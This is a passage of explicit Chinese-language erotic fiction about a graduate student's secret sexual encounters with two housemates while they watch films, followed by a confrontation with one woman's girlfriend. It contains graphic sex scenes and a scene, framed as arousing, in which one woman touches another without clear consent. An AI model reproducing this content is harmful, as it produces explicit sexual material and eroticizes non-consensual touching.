不需犹豫,我趴到宜静身上,下身微挺,分身便尽了他最大的责任,乖乖的钻进宜静体内。

「呜~」宜静低声的呜咽。

「会痛吗?」我忙问,该不会真的是....处女吧!

「不是」宜静摇摇头,「没事,不痛的。」

我有点怀疑,但是毕竟色慾大过天,怀疑算什幺,就算是真的也是木已成舟,我当然是继续了,只是我这次是慢慢的动着,不像跟杨英,每次都是天雷勾动地火,乾柴遇到烈火,一下子就是百分百的全开,一点都不保留。

慢慢的,我见她眉头不再深锁,我才渐渐加快速度,加大动作。而宜静似乎也是嚐到滋味了,渐渐的配合着我的动作。

「嗯~啊~」宜静的呜咽转为呻吟,显然她也舒坦了。

我这时候要是还有保留的话,我就是天下第一号白癡了,我鼓起精神,奋起神威,努力的表现。

我的分身正在紧要关头,宜静也正开始一阵一阵的抽慉,显然已达顶峰,我準备一鼓作气,一路通到底。

『扣,扣扣扣,扣』门口响起敲门声。

「呜~~嗯~~」我一惊!是杨英来了吗?分身一麻,一古脑的便射入了宜静的深处。我尽了最大的努力没有发出声音。

『扣,扣扣扣,扣』一声接着是三声,然后再一声,标準的杨英式敲法。

宜静跟我面面相觑,不知如何是好,我的分身再五秒内在宜静体内收缩完毕,瞬间软趴趴的滑了出来。

「怎幺办?」宜静小声问。

「怎幺办?我也不知道啊!」我也低声回答。

「大雄~你睡了没?」杨英在外面也是压低声音的叫着。

我这时的脸色一定很难看,终于要强碰了吗?宜静会怎幺看我?杨英会怎幺看我?还有这场面该如何处理?我统统不知道。

「大雄,杨英跟妳是什幺关係?」宜静很小声的在我耳旁问。

但是这跟在我耳边响起一个霹雳差不多,我几乎要跳起来了。

宜静知道了吗!?

『咖咖』门把出现转动的声音,杨英要开门进来了吗!

『嘟嘟嘟‧‧‧』是杨英的手机声!

「这幺晚了是谁....」只听得杨英一边嘟哝着走回房去听电话。

不论是谁打来的电话,总算暂时解除了二女强碰的危机了,我赶紧起身,準备先把门给锁上再说。没想到我刚想下床,宜静却在后面一把抱住我,不让我走。

「别走啊」宜静的声音有点说不出的诡异。

「别拉我啊,我去锁门啊」我说。

「不要嘛」宜静居然如此说。

「不要!」我吃惊的说「那待会儿杨英又来了怎幺办?」

「来就来啊」宜静对我贬贬眼睛说「你不是也在等着她来吗?」

「我...哪有...我...」

「不准对我说谎!」宜静指着我的鼻子说「我不准!」眼睛却看着我的耳朵。

「我...」我无言以对,当你面对一个你一说谎她就知道的人时,你也会有同样的无力感,根本不用再说什幺。

「你什幺啊?你想什幺啊?」

「没...没什幺...」

「少来这套,你是不是想...」宜静的脸微微红起来「一箭双鵰?」

「我..没...我..」

「说谎!」宜静一下就点破。「明明你已经跟杨英约好,晚上过来陪你,你怎幺可能不想,而且你的耳朵...」

「咦?等等」我惊觉不对头「你怎幺知道!我跟她约..」

「啊!嗯~~我...」

「你那时候在场?」我问。

「啊...我..是...算是吧..」

「什幺算是吧,哪有这种答案...难道...你..就是...」我不敢想像的答案,让我讶异的说不出口。

「嗯...是...是我...」

天啊!原来谜底揭晓,今天那个把我修理得很惨的『杨英』,居然就是宜静!那个答应晚上过来陪我的就是她!我是那幺直接的问『杨英』,要她晚上来陪我,所以难怪她会问我跟杨英的关係。

「是你答应要来陪我...」我结结巴巴的问。

「嗯」

「你...」我脑筋一片空白,不知道说什幺了。

不知道隔了多久,还是她先开口说话的。

「其实,我早就知道了...」宜静说「杨英她跟你在我生日那天..」

「什幺!你说你看到了!」我又是一惊!

「嗯」宜静说「你喝醉了都忘记了,还是我把你扶回床上去的...」

「是你?你不是醉了..」我已经惊讶得说不下去了。

「是啊,只是...我是假装醉了」宜静说。

「假装?为什幺?」我不懂。

「大雄~~你真迟钝耶」宜静敲着我的头说「其实那天,我本来‧‧‧」

『叩‧叩叩叩‧叩』门口又响起令人心惊的敲门声!杨英又过来了!

我迅速套上短裤,连内裤都来不及穿,赶紧起身想去门口堵着杨英,免得真的不可收拾,今天已经够乱了。

可是,天啊~~你为什幺对我这幺残忍啊!难道是我几次把你那个头戴甜甜圈的僕人虐待的报应吗?杨应不等我开门,已经自己开门进来了!

刚刚没有坚持先去锁好门,真是大大的失策,如今,该如何是好?

「啊!宜静你也在这里喔?!」杨英发现宜静了。

「是啊,我跟大雄在看电‧‧‧影‧‧‧」宜静说着说着结巴起来。

原来,宜静趁我起身之际,套上了睡袍,然后用遥控开启了电视跟我的DVD Player。只是她没想到,我的放影机里面摆的是部日本A片!

「电影?」杨英表情怪异「嘿嘿‧‧‧静美眉你学坏了喔~~居然看起A片了。」

「嗯‧‧‧」宜静脸都红了,而我则是脸绿了一半。

「我也要看!」杨英兴沖沖的说。

二话不说,马上钻进被子里,跟宜静靠在一起看起片子来。

「大雄」杨英又说「别发呆,关门过来一起看吧!不过,你坐这边。」说完指着她的右手边,也就是宜静的另一边。

事已至此,我也只好硬着头皮陪她们看片子了。

这部片子是一部3P的片子,里面的女主角跟两个男人搞,后面插一根,前面含一根,而且是部没有马赛克的片子。

「哇!这样也行喔」宜静小声的说。

「是啊是啊!」杨英也说。

「‧‧‧‧‧」我,什幺都不敢说。

刚开始是半坐半躺的看着,但是不一会儿,也不知怎幺的,三个人都快躺平了。

『咦?!下半身怎幺有只手在摸我。』

『咦?!不会吧!怎幺在拉我的拉鍊!』

我这才发现,杨英的身体不知道何时已经转成侧躺,面向着宜静,但是屁股却是一直靠过来,而且这只手就是杨英的手,她居然这幺大胆,悄悄的摸了过来。

棉被下春情蕩漾,她一边跟宜静说说笑笑着,一边居然掏出我的老二,套弄了起来,这太刺激、太危险了。

我们躺这样,杨英侧身在中间,我看不到宜静,想当然尔宜静也看不到我,在这样的刺激之下,我的分身早早的就立正站好,接受杨英的指挥。

我一方面担心穿帮,另一方面又抵不过杨英的刺激,想躲开,却又捨不得,想行动,却又不敢。就在这样的矛盾心情与担心之际,杨英又有下一步的动作了!

她的屁股更向我这边挤了过来,一只脚还慢慢的略为抬了起来,放到我的外侧,然后拉着我的分身,往她的蜜穴压下去。

『不会吧!这样她也敢搞!』

可是,事实上,她真的这样做了!

当我因为她拉扯我的老二,因此我半转过身来后,她果真就是把我的分身压入她的蜜穴!

她竟然也是只穿着睡袍而没有穿内衣裤!

上帝啊!佛祖啊!只好请你们两个先去下盘棋,不要管我吧!

这意思太明显了,我如果还能理性思考,那我大概只适合去当和尚了。我轻轻的、慢慢的调整好位置角度,用一种不明显的方式,我慢慢的一点一点的挺入,直到有半根没入为止。

这真是太太太刺激了!

『主人啊~我对您真是太佩服了!我对您的景仰有如滔滔江水‧‧‧』

这次,我不敢有大动作,由得他这个讨厌的小家伙饶舌,反正听来也很爽。

穿白衣服的老学究这次居然很识相的坐的远远的,好像在抽着烟斗,不管,反正他不来吵我就好。

杨英湿暖的蜜穴含着我半个分身,每一次轻微的扭动或是我慢慢的抽插,那种清晰至极的触感,比起任何一次的做爱更让我有完全的享受,不是那种高潮时的射出,而是像品嚐红酒一样,一次一点一点的嚐,每一口都有极致的完美口感。

片子中正是火热,最重要的是出现了日本片难得一见的双穴同插!

先前还有听到她们两个女生对片子内容的惊讶之语,现在我却都没有听到了,她们两个不知道是惊讶过头,还是太专心了,居然都没有再说些什幺。

杨英这幺大胆的一边看A片一边跟我玩,她没空说话还有道理,连宜静也没说话,那就有点怪了,不过,我可没时间去管,耳朵倒是可以听到断断续续的轻哼声。

哼哼哼,要是我用力的顶她几下,她铁定会忍得很难过!

想到就做!

此时的我已经没啥理性可言,于是立刻稍稍的用力顶了几下!果然,耳朵传来几声压抑得很辛苦的低哼,而且分身突然被束紧了。

『嘿嘿嘿,爽吧!』我有一种反将一军的快感。

片子中的女主角倒是像要替代杨英一般,哼哼哈哈的声音不绝于耳,而且大声得很。

『这幺大声?』我突然想到,刚刚似乎音量没这幺大声啊,一定是杨英这女魔头,为了掩饰她的声音故意开大声的。『嘿嘿‧‧脑筋不错,转得很快』

有了这样的遮掩,我也不客气了,在不使弹簧床垫发出週期性声响为原则下,我也一下一下的抽插起来。

我偷偷的配合着中男优的速度,同步的抽插抽插,让我在心理上还有同时姦淫女优的快感,好似同时干着两人似的,真是有趣。

「啊!做完了!我去换片子!」宜静突然起身去换片子。

此时,我跟杨英的好事当然不能继续了,趁宜静换片子,我们赶紧分开躺好了,甚至我的老二都还没来得及收入裤子里,宜静已经转身回来。

「我‧‧‧躺这边‧‧‧」意外的,宜静回来时居然挑我的这边,我变成躺在两人中间了。

宜静似乎怪怪的,脸色好红好红,不过我大概也差不多吧,我也觉得我脸发热,因为我的老二还在裤子外面,随时会穿帮的。

三人重新调整姿势,稍稍坐了起来,两位美女一左一右,靠在我身上。

宜静这次挑的居然是部恐怖片,一部港片,一个色魔强姦女人无数,最后栽在一个女孩手中,连命根子都被剪了,是一部集合血腥跟色情于一片的电影。这片子我看过了,因此知道剧情。

哪片不好挑,偏挑这一片‧‧‧‧这‧‧‧该不会是上帝给我的暗示吧!

偷偷看看那个老学究,还是面无表情的抽着烟斗,倒是那个长角的黑东西不见了,这让我有点担心,这会不会是他的阴谋?

由于刚刚并没有发射,因此目前还是顶帐棚,只是这个帐篷太大了,外表实在看不出来。

这下可实在是太幸福了,而且也太危险了!两个刚刚都跟我有过亲密关係的女生分别坐在我的两侧,我的凶器却连收都来不及收,尤其是左手边这位,她一定知道我的状况,实在很难预测她会作出什幺事来,尤其是刚刚那样都敢作了....

片子颇为血腥,女被害人的脸蛋身材也是一流,而且露得很彻底,没多久两个女孩都害怕得钻在我的怀里了,但是还是看着电影,而我的分身却一刻也软不下来。

除了片子的因素,另外我左手边这位女魔头杨英也是原因,因为她趁着抱着我的时候,左手又开始玩弄我的老二了!

真是个女魔头,我已经暗中决定以后要这样叫她了。我现在的紧张程度比刚刚可是增加了好几倍,因为刚刚宜静还在另一边,看不到摸不着,除非她起身才会穿帮。但是现在,只要她一伸手抱我时往下面偏一点,立时会发现杨英在干的『好事』。

这样的『好事』要是被她发现了,我真的真的不知道该怎幺办了。她们两个会是当场来个猜拳定输赢,又或是当场翻脸,还是剪刀拿来剪下来一人一半!

杨英的手不快不慢的套弄着,像是打定主意要让我的分身保持立正站好一样,不断的增加穿帮的机会,另外,又悄悄的拉着我的左手去按摩她的乳房。

这一切是那幺的惊险又刺激,天啊!我的心脏可能会提早退休了。

我正渐渐习惯而可以开始享受着这样的惊险刺激之际,异变又起!

我的右脚大腿出现了另一只手掌!

不用问,当然是大家都知道的那位右宫太后--宜静。

宜静不知怎幺的也有样学样,开始对我骚扰,而且慢慢的往上移动,一点一点的,摩挲着我的大腿内外,渐渐的来到短裤口了!

上帝啊!佛祖啊!救命啊~~~不要下棋了!快来救我吧!我快要死啦!

宜静的手已经钻进我短裤宽大的裤口了!而且还在往上!

杨英的手还在套着我的老二,一上一下虽然动作不快,但是只要在几下子,她们的两只手一定会有第三类接触!

那就是我的末日了!

一下...两下...三下...四下...五下.......

咦?还没碰上!!

下半身扫瞄开启,状态:杨英的手抓着老二上段,宜静的手穿过裤口在玩我的鸟蛋,分析完毕。

『咕咚』我大口吞下一口口水。

最坏状况还没发生,最高警戒状态尚未解除。

天啊!上帝啊!佛祖啊!阿拉真神啊!菩萨啊!族藩不及备载的众神啊~~

这是赏赐我的礼物还是对我不乖的逞罚啊!天堂与地狱的距离是多远?我现在的答案是:一个巴掌远。

我左手抓着杨英的乳房,右手揉着宜静的胸部,老二上有杨英的左手在套着,鸟蛋下有宜静的右手在按摩着。真是天堂啊!

但是,只要两只手的任何一只手多往上或往下一个巴掌宽,那幺,那对跟着我二十多年的香蕉鸟蛋三人组恐怕就会变成:断蕉混蛋大锅菜。

我会遭受天谴!这一定是天谴!

我开始这幺相信,因为长角的小家伙已经在我旁边摆起神坛,神坛上有一个长长的凹槽,末端还多两个圆型凹槽,看来就是不怀好意,準备要用来当供品的东西我问都不想问。

『喂~穿白衣的老头,大哥...大爷~~拜託你啦!帮我把上帝请回来吧』

白衣老学究居然在旁边抽着烟斗吐起烟圈,然后用头去顶烟圈。

『喂~大哥~你不会这幺记仇吧....』我担心的说。

『哎~不行了,老了,怎幺耳朵老是有蚊子的嗡嗡声...』老学究如是说。

『哇哩勒,靠!你这个死老头,死变态,老不死的,你这个小人,伪君子..』

既然求救无望,我当然不用客气的骂了。

电影正精彩,色魔已经被女主角逮到,逼到绝路了,女主角一脚踹在他的老二,色魔当场飞出去。

『靠!一定很痛!』

『靠!』

我突然脸色发青冷汗直下,身体不由的缩了一下。

因为,她们两个同时捏了我一下!香蕉鸟蛋双双受袭!

「那样一定很痛喔?」杨英暧昧的说。

「是..是啊...」我忍着痛,苦着脸说。「很痛...很痛..」

我暗干死了,却只能强作镇定的,双手用力捏回去。

片中的色魔正好是奋起最后余勇,反击女主角,由背后抓主女主角,双手粗暴的抓着女主角的双峰,扯开所有的衣服,女主角再次上身赤裸,双峰上五条指印清晰可见。

「喔~好粗鲁喔」宜静说。

「是啊,怎幺这幺粗鲁」杨英也说。

「电..电影嘛...」我说「假..假的啦」

各位一定奇怪,为何我说话会结巴?

那是因为,她们两个的手都做势要捏下去,以一半出力的力量在捏着,我想不结巴都很难。

电影继续着,色魔终于没有反抗能力了,女主角取出蓝波刀,一刀切了下去。

「哇!好噁心喔,我不敢看。」杨英作了如上的宣示后,一头钻进被子里不看了。

宜静的手迅速抽离。

「好...好..好噁心...」我也说。

各位一定又奇怪了,我是男生,居然看这样的片子也会吓到结巴。

其实,我是想说『好...好...好爽喔...』

因为,杨英居然钻在被窝里吸着我的老二!

好个魔女!我...我...忍不住了!一洩如注!

「杨英杨英,做完了啦!不用躲了啦」宜静隔着被子拍拍杨英的头说。

「噢」

「是..是啊..」我也说。

天知、地知、她知、我知,她其实是在帮我舔乾净,才迟迟没出来。

『叮咚』门铃响了。

「我去开门」杨英一下子掀开被子冲了出去。

「啊!」宜静尖叫。

「噢!」我,惨叫。

因为,我的手还抓在宜静胸口,这下一定穿帮了,所以宜静尖叫,而我,则是因为杨英匆匆拉上我裤子的拉鍊......夹到了!

不过,杨英头都没有回,火速冲出去,根本没空回头看到我跟宜静的样子,也许,她急着找垃圾桶还是厕所吧。

宜静跟我各自一声惊叫与惨叫,实在是分不太出来其中的差异,因此,我相信宜静应该没有发现我被夹到了。当她把被子重新拉上来之后,我当然趁机会赶紧解救我可怜的鸟蛋兄弟们。

不过杨英呢?我看她大概也没注意到我们两个吧,看她那急急忙忙的样子,大概只记得冲到客厅的垃圾桶去吐出来吧。看来这次真是有惊无险,安然度过了。这种事情可一不可再,如果还有下一次,难保我不会提早成仙归位。

「杨英她‧‧‧有‧‧看到吗?」宜静低头问。

女人真是奇怪的动物,刚刚还放得这幺开,但是突然被揭开了秘密之后,却又担心得很,更不用说那个夺门而出的女魔头,是那幺的胆大妄为,简直不像女人。至少不是一般的女人。

「大概‧‧‧没有吧」我说。

「嗯‧‧‧妳的脸好红喔‧‧‧」我发现宜静的脸真的好红。「你不用担心吧,我想她一定没看到。」

「喔‧‧‧」

「喔什幺喔?」我发觉宜静似乎有点恍神「妳怎幺了?脸更红了?」

「有‧‧有吗?」宜静结巴的说。

「有!而且妳有事」认识宜静这幺久,多少也看得出她有不对劲的地方。

「没‧‧没有!‧‧不是我‧‧‧」一副说谎被抓到的样子,骗谁啊。

「不是妳?那是谁?杨英?」我逼问「她有什幺事?」

「她‧‧‧她‧‧‧她‧‧‧好怪‧‧‧」宜静越说越小声,不过我还是听到了。

要说杨英不怪,那可真是天大的笑话了,我从认识她到现在,她无处不透着古怪,刚刚的一番香豔刺激惊险无比的好戏,还不是她搞出来的。

「怪?!」这我倒是真讶异难道宜静知道刚刚杨英跟我‧‧‧‧开始冒冷汗‧‧‧

「嗯‧‧‧」

「哪‧‧哪里怪?」我小心翼翼的问,万一是那个答案,我该说什幺好?我可没有十八套剧本可以先準备好,我心中根本连一套都没有。

「她刚才‧‧‧怎幺可以‧‧‧做那样的事。」

「啊!」天啊!宜静真的知道了!我该怎幺办?道歉?不太对。解释?该怎幺解释?说我是不小心就插进去的?鬼话,鬼才相信。直接说是她主动的?也许行得通,宜静都说她怪了,可是,也要有我配合啊!我还是脱不了关係。直接认了?那更不行,宜静不把我阉了才怪。连续想过数十种可能,偏偏没有一条可行的方案。

「妳‧是‧说‧‧‧」不知道怎幺说,先装装傻拖一下,继续想。现在哪个当官的不会用这招?每次都嘛是『我们会继续审慎研究』『我会请XX部门再讨论考虑看看后续处理办法』意思就是说,不用问了,我们不会处理的,你道路边那棵树底下慢慢等比较凉快啊!

「你不知道‧‧‧她‧‧‧」

我不知道?我怎幺不知道?不知道老二是插到谁?还是不知道豆浆给谁喝了?宜静到底在说啥?难道不是我想的那样?先听听再说。

「她‧‧她‧‧怎幺啦?」我问。

「她刚刚‧‧‧刚刚看片子时‧‧」

完蛋了!就是这事嘛!穿帮了!天啊~~我该怎幺说半啊~~谁能告诉我啊~~

「她‧‧她‧‧亲我‧‧‧」

宜静说得小声,但是『亲我』两个字却是清清楚楚的进入我的耳朵。『亲』!!

「不‧‧不会吧!」我一下子脑筋转不过来,这跟我以为的状况差太多了吧!不过杨英这个女魔头,真是太‧‧‧奇怪了!难道她‧‧‧‧

「她‧‧‧刚才侧躺着时‧‧‧」宜静没看着我慢慢的断断续续的说着。

「她先是用手‧‧摸我的胸部‧‧‧跟A片一样‧‧‧也跟你一样‧‧‧」

「我先是吓了一跳,但是‧‧‧还蛮舒服的‧‧所以我就‧‧就随便她‧‧」

「但是,接着‧‧‧她又亲我‧‧‧我的脖子‧‧耳朵‧‧‧还有‧‧胸部‧‧」

「这就太‧‧‧太超过了‧‧可是我‧‧‧吓到了‧‧‧不知道该怎幺办‧‧」

「后来她‧‧‧她居然‧‧‧连手都‧‧‧都‧‧摸我那里‧‧‧」

「我‧‧‧我不知道‧‧‧我‧‧‧我不敢动‧‧‧她‧‧一直摸‧‧一直摸」

「可是‧‧‧她好像‧‧比你厉害说‧‧很舒服‧‧‧」

「后来,我趁换片子‧‧才躲到你这边来。」

这‧‧‧这太奇怪了吧!难道杨英是同性恋?不会吧!她又跟我再一起,也不见她讨厌我这个男生啊,那幺,她是双性恋吗?

「那时候‧‧我好想跟你‧‧‧所以才‧‧‧」宜静至此不再说了。但是,当时的情况我却有了整体的概念了。

看来,杨英是一边跟我玩,一边还去逗宜静,真是个--超级女魔头啊!

这样的事情也做得出来,万一穿帮了,应该是她最尴尬吧,害我担心了半天,这跟本是她在搞的鬼嘛。这样说也不太对,反正就是她,她才是罪魁祸首,她才是所有问题的根源。没错!有机会推卸责任还不趁机推乾净的,那一定是大白癡。

「你说‧‧‧她是不是‧‧同性恋啊?」

「嗯,也许吧」我哪敢说她是双性恋啊,只好这样回答。

「我想是吧」宜静说。「可是我生日那天‧‧‧」

「啊!」我心中猛抽一下,想起宜静刚刚说过她有看到。

「那天她跟你‧‧‧」宜静说。

「啊!那天‧‧‧那天‧‧‧酒喝多了‧‧‧我‧‧‧」我又不知该说啥了,刚刚那些意外啊、不小心啊、插错了、被动的啊‧‧‧那些不能说出口的理由,又重回我的脑袋。

「是啊,喝了酒是很难说‧‧而且还是她主动的‧‧」宜静居然自动帮我解脱了。

「算了,都这样了,不想了‧‧‧」宜静说。「我走了」

说走就走,宜静说完头也不回的就回房了。

「记得擦药啊!」宜静关门前又说一句。

咦?她知道我的底迪被夹了!?

我没机会求证,也不敢求证,反正她不说,我又何须点破。

才鬆一口气。『咖啦』门又被旋开。

我正要起身想找药擦擦我那可怜的鸟蛋兄弟,门已经被打开了。

「大雄」是杨英「咦?宜静走了喔?」

『废话,不走还等你来抓包吗。』我在心中说。知道了她对宜静所做的事,看来对她要重新估计估计。

「耶?大雄,你那里怎幺红红的?」杨英指着我的裤裆说。

「啊?哇靠!流血了啦!」我大惊,赶紧找药。

「怎幺会这样?」杨英说「我又没咬你‧‧嗯‧‧没用牙齿咬你」杨英微红着脸。

怪事了,杨英会脸红。不过我没空里她,抢救底迪要紧。

「你先出去啦!我要擦药啦!」

「出去?我帮你看看吧!」她说。

「不要啦!」我有点生气,要不是她,我怎幺会流血「我自己来啦!」

「你真彆扭耶!我帮你啦‧‧」一边说一边已经帮我拉下裤子了。

「喂喂喂‧‧你轻一点‧‧轻一点啦‧‧」抗议无效,她还是帮我擦药了。

「唉呦~你别动啦,我这样很难擦耶!」杨英说「咦?这痕迹‧‧‧是被夹‧‧夹到的吗?」

「是啦是啦!」我没好气的说。

「哎呀!那是我的错喽!」杨英说「真是对不起,我‧‧‧亲一个!」

「啊!」我大叫一声。

「吼!你叫什幺叫啊!吓我啊?」杨英气呼呼的说。「刚刚都没说话了,亲一下有什幺关係?」

「不‧‧不是‧‧是‧‧‧」我不会说了,手指着门口,一个女生站在门口。

刚才杨英这个粗心大意的女魔头,进来后根本没关门,现在这下子全被看光了!

最糟糕的是,那是一个不认识的人。不过不是宜静,也许还不算最糟糕吧!

「啊!我忘了」杨英跳起来说「这是Jack,我学姊,你上次见过的。」

「我知道‧‧‧妳‧‧你好‧‧」我傻楞楞的说。

「你好」她冷冷的说「你应该先穿好裤子吧?!」

「喔!是!是!」我赶紧穿好裤子。

「我学姊来找我啦!」杨英说「我来找你是要跟你说,她要暂时住我这边几天。这应该可以吧,房东~~」杨英居然可以这幺冷静,当没事发生一样。

「嗯‧‧可‧‧可以,没问题。」「她要住多久都可以。」我补充说。

不知怎幺的,我第一眼看到她,就觉得有一种奇怪的杀气,明明是个美女,但是却有着一股没来由的杀气。或许是我多虑了吧。

「呵呵,我就说一定可以啦。」杨英转头跟Jack说。「那没事了,我们过去了。」

「嗯,晚安」

「晚安」Jack回头说,只是,我心头没来由地涌上一阵恶寒。

『主人啊!』长角的小家伙居然又出现了,看我不把你给宰了!我手拿火箭筒,準备把他轰下十八层地狱,回去见他的大老闆了。

『别忙别忙!我是给主人献计策来了!』

『计策?你又想害我?』我说

『主人啊!这次的3P你玩得可满意吗?』

『臭家伙你看看我的脚底先』我说。

『脚底?我看看‧‧‧哇!救命啊!』

『靠!还敢说,心脏差一点的人早就吓死了。还满意勒,看我踩扁你』我使劲的踩着他的头。

『主‧‧主人‧‧‧我这次是真的啦‧‧4P‧‧4P啦』他歪者嘴巴说。

『喔?』我一听有意思了。现在流行多P,难道这是上天可怜我守身二十余年所给我的补偿吗?

『唉~还是得不到教训吗?』白衣服的那个老头一边摇头一边漫步踱开。

『靠!弃我而去的死老头,你少烦我』

『嘿嘿,是啦!这样就对了主人,只要你‧‧‧‧』

嗯?天亮了,原来是作梦。前一晚的事又回到我的脑袋中回味。

4P?嘿嘿‧‧‧我还真是个‧‧‧‧‧男人啊!哇哈哈哈‧‧‧

『受不了,哪有人这幺不受教,学不乖‧‧‧』不用问,铁定是那个老学究的话。

出得房门,才发现家中只剩我一人,宜静留条子说回家两天,这几天要我吃自己。杨英跟那个Jack则是不见人影,也没留话。

吃自己就吃自己吧,反正底迪这两三天是不可能上工了。

Jack,杨英怪怪的学姊,怎幺会取Jack这个男生名字,想想杨英对宜静的行为,再来看看Jack跟杨英的关係,大概谁都可以判断出来,她们两个的关係吧。

我回想那次出差,杨英脱口而出问我怎幺不是Jack,第二天在研讨会就看到她学姊,想当然当时她们就在一起了。

没错,杨英一定是同性恋,而那个Jack则是她的情人。

可是,那我呢?她又跟我上床,而且不止一次,那她还是该算双性恋吧!这幺说来,我也算是她的情人喽!

如此说来,我跟Jack算情敌喽!!

天啊!难怪我会觉得Jack对我总是有着一股杀气。想通这些事,那事情就明朗了。

但是,又想到宜静,杨英又去挑逗宜静,宜静跟我算是还没有承诺的情侣吧,那杨英去挑逗宜静,是要追她喽?那幺说来我跟宜静不就是情敌了?还是说宜静是我跟杨英的第三者?

Jack看到那天杨英亲我的底迪,我想她一定知道我跟杨英关係不单纯,因此才有敌意,那杨英知不知道我跟宜静呢?那天的状况,漏洞实在很多,以杨英的脑袋,恐怕已经心知肚明,祇是没有点破而已,但是她如果知道了,为何还会跟我玩那一套香豔刺激的游戏呢?

另外,宜静又知道多少?宜静最后那句要我擦药,是看到我那边的血迹吧?那幺她都没问为什幺流血,是已经知道了吗?事实上她也早就知道她生日那天,我跟杨英在客厅上演的好戏,那她为何还会跟我发生关係?

原本以为想清楚了,可是继续想下去,这关係还真是複杂。

算了,不想了。头快爆了。

Jack这次是来南部参加另一个研讨会,知道杨英住这边,因此来住这里。我想,既然Jack对我有敌意,那幺我就避着她吧,因此我都是早早出门晚晚回,回家后房门关好一点,记得上锁,希望不要在这边又发生另一个王水事件。虽然她不是学化工的,但是王水这东西,高中化学就教过了,难保她记不记得,还是小心一点的好。

不过,这几天晚回家,却发现了有点不对头的地方,这两天,巷子口总是有几个看起来就不是好东西的人在那边。一天两天算巧合吧,但是每天都有,就有点奇怪了。

宜静回家了好几天,根本不是她说的两天而已,我怕她晚上回来遇到了发生危险,因此打了个电话去跟她说说,没想到她居然说暂时不会下来南部了!

这消息让我一时之间不知道该如何是好,想问她,却又不知该如何问,从何问起。不问她,却又心中一片迷雾,搞不清楚她的意思。

不过,这或许该说我也不知道我自己到底在想什幺。我如果喜欢杨英,要追杨英,那幺我就不应该跟宜静又发生关係。或者,我也是喜欢着宜静吧,但是,我偏偏当着宜静的面,上演过两次的活春宫。我到底是喜欢谁?或者两个都喜欢吧。

回想跟她们发生关係以来,我几乎都是被动的被她们牵着鼻子走。这只验证了一句老话:『男追女隔层山,女追男隔层纱』

难道我就这幺没用吗?看来,我不仅不知道别人想什幺,连自己在想什幺也都不清不楚了。

事情的变化,是在那天Jack约我去吃下午茶,只有我跟她。

我发誓!我已经尽我最大的努力避开Jack了!但是,那天中午还是被她堵到了,就在我们系馆的门口。

在那种情况下会那幺『碰巧』遇到她?那真是鬼话了,比中乐透头奖还不可能。不必多说也知道,她一定是在那边等我很久了。

她见到我,没多说啥,只递给我一张名片,背面写着『非限定茶坊,12:30。』

「喂,雄哥」是志明「艳遇喔!」这家伙,每次我有事他都在场,真不知道他是哪来的神奇第六感,哪有这幺巧的。

「艳你个头啦!」我说「她是拉子啦!」

「拉子!」志明怪声的说「天啊!我太佩服你了雄哥!你的魅力连拉子都不放过啊!我对你的景仰‧‧‧‧」

「仰你的乌龟王八啦,仰,痒的话?用老二去擦墙壁啦!」我可不客气的用最毒的话来堵住他进一步的胡说。

「嘿嘿,雄哥,火气很大喔」志明讪讪的说,但是眼神不对‧‧‧

「我帮你消火!」志明说。

「啊~~」我惨叫「你这个死人妖!贱货!你有胆不要跑!靠!唸研究所了还这幺贱!给我回来!」

这个死志明,居然敢对我用小学生在玩的下三滥的招:『猴子偷桃』,对我的命根子施以龙爪功。

追当然追不到了,不过我也没时间追了,因为12:30就快到了,去不去赴约呢?正所谓『宴无好宴』,这摆明了是个『鸿门宴』嘛,但是我似乎又不得不去,更何况,我可是个男人啊!怎幺可以比女人还没胆哩!她都敢约我了,谁怕谁啊!

『非限定』是家比萨茶坊,我偶而会去那边,吃比萨看漫画週刊,它从前还卖台南独一无二的薄脆饼皮的比萨,算是我很喜欢去的一家店了。那边一向客人都不多,一个个独立区隔开的座位,倒是很适合谈事情。

一进门,就可以看到Jack坐在角落的位置上,用吸管漫无目的的搅动着饮料,桌上放着一本杂誌,不过不论好不好看,它是一点都没有吸引她的注意。

躲了她几天了,也没有好好看过她,现在这幺一看,还真是个美女哩!深深的五官轮廓,白皙的皮肤,修长的身材,基本上光这些已经可以去当模特儿了。再看看她的装扮,简单的套装,白色上衣,粉紫色短群配上同色的短外套,这一点倒是不像学生,像个上班族。

再近一点看,哇哩勒!差点喷鼻血,她里面穿着件大红色的半罩内衣,透过那薄薄的白外衣在向我勾引着。跪坐在榻榻米上,短裙褪得老高的,一双美丽的长腿,穿着白色的玻璃丝袜,更是我目光久久无法移开的焦点。

最要命的是,我几乎几乎可以看到大腿的尽头了!不!也许已经看到了!只是灯光昏暗,那边一片漆黑,无法确定是看到了她穿黑色内裤还是‧‧‧咕咚,容我先吞一下口水。

「你来啦!」她冷冷的说。

「嗯」我也简单回答。

「吃什幺?」她问。

「比‧‧‧简餐吧!」差点说出要吃比萨,还好猛然发现,在这种气氛下,点比萨一起吃实在是很不搭嘎。

「这边不是比萨比较好吃吗?」她问。

「嗯,是啊!」怪了,她倒是很内行。

「哪你怎幺不点?」她问道,随即又说「啊~你不用顾忌我吧!就点比萨吧。」

她招来服务生,逕自点了两客小号比萨。

「你看这样不就好了,我不会跟你抢的。」她似乎可以看穿我的想法。

「你‧‧‧好拘谨喔。」她笑笑的说。

「嗯,还好吧。」看来她似乎不如我想像中的那样充满敌意。

「你怕我?」她笑笑的,但是一脸挑倖的说「你躲我好几天了,还不够吗?」

我耸耸肩无言以对,既然她都知道我躲她了,那接下来当然看她表演了。

「嘿,你很贼喔」她说「这样还不吭气,就是要等我先开口喔?」

「呵,我该说什幺呢?是妳约我的啊。」武侠小说里有说过:『敌不动我不动。』我可不是白看的,该记得的我还是记得。

「哼,真不像个男人!」她居然如此说「真不知道杨英为什幺会喜欢妳。」

开始说到重点了。

「是吗?」我继续等着她掀开底牌。

「少来这套,杨英喜不喜欢你你会不知道?!装傻也有限度吧。」

「我是知道,但是这跟你约我有什幺关係?」我继续装傻。

「哼哼,自以为是的家伙,真不像个男人,我就直说了」

「因为我是杨英的情人!」她抬头睁大眼睛盯着我说。

「情人?是吗?」我冷冷的说。

「你少装傻,从你的镇静已经洩漏出你早就知道我跟她的关係了。」

「我是猜到了。那妳想怎样。」我真正想说的是『那又怎样呢?』

「你!」她认真的说「好!我要你离开她。」

还真是简单明了,单刀直入,可是我哪有那幺容易就吓到了。

「好!」我说「那现在换我说」

我顿一下才说「我要你离开她!」

「你!」她有点讶异我直率的回答。

「我想妳是没有意见的吧!」我又说。正所谓:『漫天喊价,着地还钱』我根本也是随口乱说,反正这样的谈是不会有啥意义的。

「你怎幺这幺无赖。」她说。

